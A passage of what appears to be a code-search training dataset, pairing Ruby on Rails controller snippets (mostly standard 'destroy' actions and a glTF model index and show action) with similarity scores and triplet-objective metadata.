"def destroy\n @opportunity_type = OpportunityType.find(params[:id])\n @opportunity_type.destroy\n\n respond_to do |format|\n format.html { redirect_to opportunity_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = set_company\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_path, notice: \"#{@company.name} has been deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @collection = @entity_type.collection\n @entity_type.destroy\n respond_to do |format|\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @biz_company = BizCompany.find(params[:id])\n @biz_company.destroy\n\n respond_to do |format|\n format.html { redirect_to biz_companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_admin_type.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_admin_types_url, notice: 'Admin type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: t(\"company_destroyed\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n\n head :no_content\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Cliente eliminado con exito' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident_type = IncidentType.find(params[:id])\n @incident_type.destroy\n\n respond_to do |format|\n format.html { redirect_to incident_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @outgoing_type = OutgoingType.find(params[:id])\n @outgoing_type.destroy\n\n respond_to do |format|\n format.html { redirect_to({:controller=>\"outgoing_types\", :action=>\"index\", :company_id=>\"#{@outgoing_type.company_id}\"}) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @catalog_contract_type.destroy\n respond_to do |format|\n format.html { redirect_to catalog_contract_types_url, notice: 'Contract type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n asset_type = AssetType.find(params[:id])\n asset_type.destroy\n\n respond_to do |format|\n format.html { redirect_to asset_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commission_type.destroy\n respond_to do |format|\n format.html { redirect_to commission_types_url, notice: 'Commission type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:id])\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_path, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to realty_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @guarantee_company.destroy\n respond_to do |format|\n format.html { redirect_to guarantee_companies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_type.destroy\n respond_to do |format|\n format.html { redirect_to client_types_url, notice: 'Tipo de Cliente deletado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle_type.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_types_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n #format.html { redirect_to companys_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bs_type.destroy\n respond_to do |format|\n format.html { redirect_to bs_types_url, notice: 'Bs type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @collection_type = CollectionType.find(params[:id])\n @collection_type.destroy\n\n respond_to do |format|\n format.html { redirect_to collection_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @competence_type.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @all_field_type = AllFieldType.find(params[:id])\n @all_field_type.destroy\n\n respond_to do |format|\n format.html { redirect_to all_field_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entity_type.destroy\n respond_to do |format|\n format.html { redirect_to entity_types_url, notice: 'Entity type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arc_type.destroy\n respond_to do |format|\n format.html { redirect_to arc_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Bar Deletado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @girltype = Girltype.find(params[:id])\n @girltype.destroy\n\n respond_to do |format|\n format.html { redirect_to girltypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @brew_type.destroy\n respond_to do |format|\n format.html { redirect_to brew_types_url, notice: 'Brew type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @main_company.destroy\n respond_to do |format|\n format.html { redirect_to main_companies_url, notice: 'Main company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credit_type = CreditType.find(params[:id])\n @credit_type.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_expense_type = Admin::ExpenseType.find(params[:id])\n @admin_expense_type.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_expense_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @expense_type.destroy\n respond_to do |format|\n format.html { redirect_to expense_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company_field.destroy\n respond_to do |format|\n format.html { redirect_to company_fields_url, notice: 'Company field was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html {redirect_to companies_url, notice: 'Company was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @company.destroy\n respond_to do |format|\n format.html {redirect_to companies_url, notice: 'Company was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @testtype.destroy\n respond_to do |format|\n format.html { redirect_to testtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(id_from_params)\n @company.accounts.delete(current_user.account)\n #current_user.companies.delete(@company)\n #@company.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ins_company = InsCompany.find(params[:id])\n @ins_company.destroy\n\n respond_to do |format|\n format.html { redirect_to ins_companies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @reform_type = ReformType.find(params[:id])\n @reform_type.destroy\n\n respond_to do |format|\n format.html { redirect_to reform_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gl_type = GlType.find(params[:id])\n @gl_type.destroy\n\n respond_to do |format|\n format.html { redirect_to gl_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicletype.destroy\n respond_to do |format|\n format.html { redirect_to vehicletypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident_type.destroy\n respond_to do |format|\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_type.destroy\n respond_to do |format|\n format.html { redirect_to email_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vet_lab_type = VetLabType.find(params[:id])\n @vet_lab_type.destroy\n\n respond_to do |format|\n format.html { redirect_to vet_lab_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @addresstype = Addresstype.find(params[:id])\n @addresstype.destroy\n\n respond_to do |format|\n format.html { redirect_to addresstypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crossbowtype.destroy\n respond_to do |format|\n format.html { redirect_to crossbowtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @acct_type.destroy\n respond_to do |format|\n format.html { redirect_to acct_types_url, notice: 'Acct type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company_client.destroy\n respond_to do |format|\n format.html { redirect_to company_clients_url, notice: 'Клиент был успешно удален' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @affected_type.destroy\n respond_to do |format|\n format.html { redirect_to affected_types_url, notice: 'Affected type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.7776477",
"0.77046293",
"0.75599265",
"0.7225775",
"0.71949357",
"0.7111012",
"0.70134944",
"0.69842565",
"0.6972056",
"0.69720095",
"0.6943254",
"0.691763",
"0.691763",
"0.691763",
"0.687737",
"0.6860584",
"0.6852094",
"0.6852094",
"0.6852094",
"0.6852094",
"0.6852094",
"0.6852094",
"0.6852094",
"0.6852094",
"0.6852094",
"0.6852094",
"0.6847305",
"0.6844622",
"0.683493",
"0.6813855",
"0.6807204",
"0.67963797",
"0.6768298",
"0.6753251",
"0.67399937",
"0.67391837",
"0.67313784",
"0.67294484",
"0.6725851",
"0.6712472",
"0.66969734",
"0.66936797",
"0.66921604",
"0.6686673",
"0.6684521",
"0.6674786",
"0.66692257",
"0.6668955",
"0.66592115",
"0.665557",
"0.66552174",
"0.6647774",
"0.6644451",
"0.6639168",
"0.6637866",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66372865",
"0.66369",
"0.66363674",
"0.6627906",
"0.66269374",
"0.6624547",
"0.662115",
"0.66199654",
"0.66136837",
"0.6613583",
"0.66091734",
"0.6607638",
"0.6604444",
"0.66022056",
"0.65979683",
"0.6595413",
"0.6590717",
"0.65867645",
"0.65856725",
"0.6583831",
"0.65828824",
"0.65819454",
"0.6581702",
"0.6566022",
"0.65629613",
"0.6562627",
"0.65603036",
"0.65581137",
"0.65544504",
"0.65490067",
"0.65483725",
"0.6547891",
"0.6544254"
] | 0.78043586 | 0 |
GET /gltf_models GET /gltf_models.json | def index
@gltf_models = GltfModel.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def models(make, year, category)\n make_id = get_object_id make\n category_id = get_object_id category\n response = get_url \"Models/#{make_id}/#{year}/#{category_id}\"\n response_obj = JSON.parse response\n response_obj[\"GetModelsResult\"].map{|r| Models::Model.from_response_hash(r)}\n end",
"def load_models\n url = Configuration::PROPERTIES.get_property :url\n url_get_records = Configuration::PROPERTIES.get_property :url_get_models\n\n url_get_records = url_get_records.gsub '{csk}', URI::encode(@credential[:csk])\n url_get_records = url_get_records.gsub '{aci}', URI::encode(@credential[:aci])\n\n response = DynamicService::ServiceCaller.call_service url + url_get_records, {}, 'get'\n\n json = JSON.parse(response)\n unless json['status'] == 200\n raise json['message']\n end\n\n models = []\n array = json['models']\n array.each do |item|\n model = Dynamicloud::API::Model::RecordModel.new item['id'].to_i\n model.name = item['name']\n model.description = item['description']\n\n models.push model\n end\n\n models\n end",
"def get_models\n relatable_category_id = params[:car_calculator][:fuel_type]\n relatable_category_ids = params[:car_calculator][:relatable_category_ids]\n result = CarApp.calculated_session.related_categories_from_relatable_category(relatable_category_id, \"model\", :relatable_category_ids => relatable_category_ids) \n final_result = []\n result = (result || []).each_pair do |key, value| \n final_result << {:name => value, :value => key}\n end\n render :json => {:options => final_result}.to_json\n end",
"def list_models request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_models_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::ListModelsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def model\r\n\t\t\t@model ||= json['model']\r\n\t\tend",
"def find_bridge_models(params={}, headers=default_headers)\n @logger.info(\"Find Bridge models.\")\n get(\"#{@api_url}/models\", params, headers)\n end",
"def list_models request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_models_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::ListModelsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def get_models_for_make_id\n render json: vehicle_service.get_models_for_make_id(params[:make_id])\n end",
"def list_models dataset_id, max: nil, token: nil\n options = { skip_deserialization: true }\n # The list operation is considered idempotent\n execute backoff: true do\n json_txt = service.list_models @project, dataset_id, max_results: max, page_token: token, options: options\n JSON.parse json_txt, symbolize_names: true\n end\n end",
"def index\n\t @models = @model.get_many\n\t respond_to do |format|\n\t format.json do \n\t render json: @models.to_json\n\t end\n\t format.html do \n\t \trender :index\n\t end\n\t end\n\tend",
"def index\n @entities = Entity.find(:all, :limit=>100)\n EntitiesHelper.setModelGraph(\"public/UMLmodel.png\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entities }\n end\n end",
"def get_models_for_make_id_year\n render json: vehicle_service.get_models_for_make_id_year(params[:make_id], params[:make_year])\n end",
"def get_models(app_name)\n index = @apps.index(app_name)\n models = @apps[index].models\n end",
"def index\n @models = Model.all\n end",
"def index\n @models = Model.all\n end",
"def set_gltf_model\n if params[:id] != 'scene'\n @gltf_model = GltfModel.find(params[:id])\n end\n end",
"def index\n @models = ClientService.all\n end",
"def get_model_files(options); end",
"def list_models\n\[email protected] do |model|\n\t\tputs \"#{@models.index(model)}: #{model}\"\n\tend\nend",
"def models\n @models ||= []\n end",
"def index\n @linear_models = LinearModel.all\n end",
"def index\n @models = Model.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @models }\n end\n end",
"def index\n @trainmodels = Trainmodel.all\n end",
"def models\r\n\r\n end",
"def models\n @models ||= {}\n end",
"def show\n @model = Model.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model.to_json(\n :only =>[],\n :methods => [:dg_model_id, :model_make_id, :model_number, :model_description, :model_active, :dg_last_update])}\n end\n end",
"def index\n if params[:vehicle_id]\n @vehicle = Vehicle.find(params[:vehicle_id])\n @vehicle_features = @vehicle.features\n end\n @feature = Feature.new\n @features = Feature.all\n @all_features = Feature.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @features }\n end\n end",
"def model_classes\n @opts[:models]\n end",
"def model(options={})\n get_location\n # TODO: validate options\n @params[:model] = FEATURE_DEFAULTS[:model].merge(options)\n @params[:model][:generate] = true\n end",
"def index\n models = Model.all.to_json(:include => {:model_types => {:only => [:name], :methods => [:total_price]}}, :only => [:name]) \n respond_to do |format|\n format.json { render json: {models: JSON.parse(models)} , location: @model_type }\n end\n end",
"def history_models(year, model)\n make_request :get, \"/histmodels/#{year}/#{model}\"\n end",
"def lookup_model_names; end",
"def index\n semantic_breadcrumb @project.name, @project\n semantic_breadcrumb \"Models\", project_models_path(@project)\n @models = @project.models.page params[:page]\n end",
"def models_list\n ModelsList.to_a\n end",
"def gltf_model_params\n params.require(:gltf_model).permit(:global_path, :bin_global_path, :textures_directory_global_path)\n end",
"def get_model request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_model_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::Model.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def get_model request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_model_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::Model.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def show\n @models = @project.models.all\n end",
"def index\n @fakemodels = Fakemodel.all\n end",
"def index\n @models = self.class.model_class.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @models }\n end\n end",
"def index\n @auto_models = AutoModel.all\n end",
"def get_model_array\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/model'\n _query_builder = APIHelper.append_url_with_query_parameters(\n _query_builder,\n 'array' => true\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n decoded.map { |element| Person.from_hash(element) }\n end",
"def get_model\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/model'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n Person.from_hash(decoded)\n end",
"def index\n @device_models = DeviceModel.all\n end",
"def serialized_models\n serialize_model(work)\n end",
"def show\n @models = self.class.model_class.find(self.class.ids_from_param(params[:id]))\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @models }\n format.json { render :json => @models }\n end\n end",
"def index\n @hello_models = HelloModel.all\n end",
"def index\n #@models = Model.all\n @categories = Category.all\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @models }\n end\n end",
"def available_models\n\t\t\t\t\tif !self.nature.blank?\n\t\t\t\t\t\tmodel_classname = config(:natures, self.nature.to_sym, :model)\n\t\t\t\t\tend\n\t\t\t\t\tif !model_classname.blank?\n\t\t\t\t\t\tmodel_class = model_classname.constantize\n\t\t\t\t\t\treturn model_class.where(config(:natures, self.nature.to_sym, :filters)).order(id: :asc)\n\t\t\t\t\telse\n\t\t\t\t\t\treturn []\n\t\t\t\t\tend\n\t\t\t\tend",
"def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end",
"def load_models(app)\n ::Mongoid.load_models(app.config.paths[\"app/models\"].expanded)\n end",
"def load_models!\n require \"models\"\n end",
"def index\n @system_models = SystemModel.all\n end",
"def get_models(model_type)\n model_store.get_collection class_for_type(model_type)\n end",
"def models\n @models ||= self.model_names.map {|x| x.constantize}\n end",
"def models\n make = params[:make]\n @models = Databag.find(\"printers/#{make}\").value.keys.reject{ |k| k == \"id\" }.sort\n render :layout => false\n end",
"def get_project_model project_id, dataset_id, model_id\n # The get operation is considered idempotent\n execute backoff: true do\n json_txt = service.get_model project_id, dataset_id, model_id, options: { skip_deserialization: true }\n JSON.parse json_txt, symbolize_names: true\n end\n end",
"def index\n @models = Model.order(:name).paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @models }\n end\n end",
"def index\n @brand = Brand.find(params[:brand_id])\n @models = @brand.models\n\n\n respond_to do |format|\n format.html {redirect_to @brand}\n format.json { render json: @models }\n end\n end",
"def index\n @model_lists = ModelList.all\n end",
"def create\n @gltf_model = GltfModel.new(gltf_model_params)\n\n respond_to do |format|\n if @gltf_model.save\n format.html { redirect_to @gltf_model, notice: 'Gltf model was successfully created.' }\n format.json { render :show, status: :created, location: @gltf_model }\n else\n format.html { render :new }\n format.json { render json: @gltf_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @modeltypes = Modeltype.all\n end",
"def index\r\n @sivic_models = SivicModel.all\r\n end",
"def models\n @models ||= Prepares.models\n end",
"def show\n @orf_model = OrfModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orf_model }\n end\n end",
"def index\n @vet_lab_types = VetLabType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vet_lab_types }\n end\n end",
"def index\n @vehicles = Vehicle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"def models\n @@models\n end",
"def jsonapi_model_type\n\t\t\t\t\tjsonapi_model_class_name.underscore.pluralize.to_sym\n\t\t\t\tend",
"def index\n @revenue_models = RevenueModel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @revenue_models }\n end\n end",
"def index\n @title = t :model_index_title\n \n @models = Model.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @models }\n end\n end",
"def index\n @model_names = ModelName.all\n end",
"def index\n @tunes = Tune.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunes }\n end\n end",
"def show\n @models = @trademark.models.order(name: :asc)\n end",
"def load_models(app)\n app.config.paths[\"app/models\"].expanded.each do |path|\n preload = ::Mongoid.preload_models\n if preload.resizable?\n files = preload.map { |model| \"#{path}/#{model.underscore}.rb\" }\n else\n files = Dir.glob(\"#{path}/**/*.rb\")\n end\n\n files.sort.each do |file|\n load_model(file.gsub(\"#{path}/\" , \"\").gsub(\".rb\", \"\"))\n end\n end\n end",
"def index \n render json: Tuning.all\n end",
"def index\n @my_models = MyModel.all\n end",
"def get_model( options )\n return options[:model] if options[:model]\n return options[:node].getModel if options[:node] && options[:node].resource? && options[:node].getModel\n default_model\n end",
"def model\n @opts[:model]\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def index\n @trial_models = TrialModel.all\n end",
"def index\n @features = Feature.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @features }\n end\n end",
"def load_models\n puts \"=> Loading models\"\n Dir.glob(File.join(app_path,'app/models/*.rb')).each { | model | \n require model \n }\n end",
"def model_names\n @model_names ||= []\n end",
"def index\n @vehicle_submodels = VehicleSubmodel.all\n end",
"def included_models(model)\n models = Grape::Swagger::Jsonapi::Resources::Parser.new(model, self).included\n refs = models.map do |m|\n {\n \"$ref\" => \"#/definitions/#{expose_params_from_model(m)}\"\n }\n end\n {\n type: :array,\n items: {\n anyOf: refs\n }\n }\n end",
"def requested_models(requested_model)\n case requested_model\n when /^(.+)[(](.+)[)]$/ #handle model(with associations), i.e. Image(for scene A)\n base_model = $1.classify.constantize\n scopes = $2.split(',')\n models = base_model\n\n scopes.each do |scope|\n models = models.send(scope.strip)\n end\n\n models.all\n\n when String #is name\n requested_model.singularize.constantize.all\n else\n requested_model.all\n end\nend",
"def destroy\n @gltf_model.destroy\n respond_to do |format|\n format.html { redirect_to gltf_models_url, notice: 'Gltf model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @oid_models = OidModel.all\n end",
"def index\n @instances = Instance.all\n render json: @instances\n end",
"def index\n @ftypes = Ftype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ftypes }\n end\n end",
"def index\n @modeles = Modele.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @modeles }\n end\n end",
"def index\n @instances = Instance.all\n render :json => @instances\n end",
"def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end",
"def api_model\n api_model_nane.constantize\n end",
"def show\n @feature_model = FeatureModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @feature_model }\n end\n end",
"def array\n @models ||= load\n end",
"def index\n @models = TGroup.order(\"name\").page(params[:page]).per(50)\n\n end",
"def index\n @modelos = Modelo.all\n end",
"def get_model_array\n # the base uri for api requests\n _query_builder = Configuration.base_uri.dup\n\n # prepare query string for API call\n _query_builder << '/response/model'\n\n # process optional query parameters\n _query_builder = APIHelper.append_url_with_query_parameters _query_builder, {\n 'array' => true\n }\n\n # validate and preprocess url\n _query_url = APIHelper.clean_url _query_builder\n\n # prepare headers\n _headers = {\n 'user-agent' => 'Stamplay SDK',\n 'accept' => 'application/json'\n }\n\n # Create the HttpRequest object for the call\n _http_request = @http_client.get _query_url, headers: _headers\n \n # Call the on_before_request callback\n @http_call_back.on_before_request(_http_request) if @http_call_back\n\n # Invoke the API call and get the response\n _response = @http_client.execute_as_string(_http_request)\n\n # Call the on_after_response callback\n @http_call_back.on_after_response(_response) if @http_call_back\n\n # Endpoint error handling using HTTP status codes.\n if _response.status_code == 404\n return nil\n end\n\n # Global error handling using HTTP status codes.\n validate_response(_response)\n\n # Return appropriate response type\n decoded = APIHelper.json_deserialize(_response.raw_body)\n return decoded.map{|element| Employee.from_hash(element)}\n end"
] | [
"0.6366516",
"0.6159299",
"0.6093915",
"0.60801965",
"0.60612905",
"0.6038504",
"0.6016536",
"0.5965578",
"0.5925854",
"0.59045404",
"0.5847773",
"0.58083856",
"0.580603",
"0.58016175",
"0.58016175",
"0.57885665",
"0.5757472",
"0.57548827",
"0.5749606",
"0.5745169",
"0.5740001",
"0.5732251",
"0.5700813",
"0.5697219",
"0.5675642",
"0.5628487",
"0.55803025",
"0.5570888",
"0.55567104",
"0.5551661",
"0.5545301",
"0.553987",
"0.5529342",
"0.55143964",
"0.5502793",
"0.54806334",
"0.5476163",
"0.54748076",
"0.545864",
"0.544661",
"0.5445298",
"0.5418331",
"0.53966177",
"0.5379092",
"0.5375508",
"0.53680605",
"0.53675497",
"0.5348206",
"0.53442883",
"0.533328",
"0.53311914",
"0.5328393",
"0.5328218",
"0.53150034",
"0.5309725",
"0.53095245",
"0.52755034",
"0.5261411",
"0.525686",
"0.52507627",
"0.52482814",
"0.5244261",
"0.5233703",
"0.52305573",
"0.522752",
"0.5217122",
"0.52147645",
"0.52042395",
"0.52013224",
"0.5201257",
"0.51955336",
"0.51920724",
"0.5149389",
"0.51484007",
"0.5142922",
"0.5142724",
"0.51391554",
"0.5138817",
"0.5130592",
"0.5130328",
"0.51271486",
"0.5122292",
"0.5116514",
"0.5115257",
"0.51121664",
"0.51115274",
"0.5105227",
"0.50892746",
"0.5076565",
"0.5064777",
"0.5064646",
"0.5060598",
"0.5055066",
"0.50531733",
"0.5051624",
"0.5046777",
"0.5034045",
"0.50312895",
"0.50262535",
"0.50199693"
] | 0.7086729 | 0 |
GET /gltf_models/1 GET /gltf_models/1.json | def show
respond_to do |format|
format.gltf do
send_file EziiOsPath.new(@gltf_model.global_path).file_system_path
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @gltf_models = GltfModel.all\n end",
"def model\r\n\t\t\t@model ||= json['model']\r\n\t\tend",
"def show\n @model = Model.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model.to_json(\n :only =>[],\n :methods => [:dg_model_id, :model_make_id, :model_number, :model_description, :model_active, :dg_last_update])}\n end\n end",
